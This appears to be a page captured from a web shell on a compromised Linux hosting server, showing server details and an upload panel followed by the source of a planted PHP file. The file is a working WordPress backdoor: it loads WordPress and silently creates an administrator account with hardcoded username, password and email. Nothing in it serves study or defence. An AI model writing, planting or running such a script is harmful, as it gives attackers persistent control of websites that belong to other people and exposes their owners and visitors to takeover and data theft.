HEX
Server: Apache
System: Linux p3plzcpnl507886.prod.phx3.secureserver.net 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User: njtlk1f8hdyw (10030520)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/ovaqcsyeg.php
<?php
/**
 * Manual Admin Creator - Fixed Logic
 */

// 1. Dynamic pathing to find WordPress root
$wp_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

if (file_exists($wp_path)) {
    require_once($wp_path);
} else {
    // Fallback for subdirectories
    require_once('wp-blog-header.php');
}

require_once(ABSPATH . 'wp-includes/registration.php');

// 2. Updated Config Variables
$newusername = 'XOR';
$newpassword = 'XOR48';
$newemail    = 'xor48cs@gmail.com';

// 3. Execution Logic
if (!username_exists($newusername) && !email_exists($newemail)) {
    $user_id = wp_create_user($newusername, $newpassword, $newemail);
    
    if (is_int($user_id)) {
        $wp_user_object = new WP_User($user_id);
        $wp_user_object->set_role('administrator');
        echo 'Successfully created admin user: ' . $newusername;
    } else {
        echo 'Error: Could not create user.';
    }
} else {
    echo 'User already exists.';
}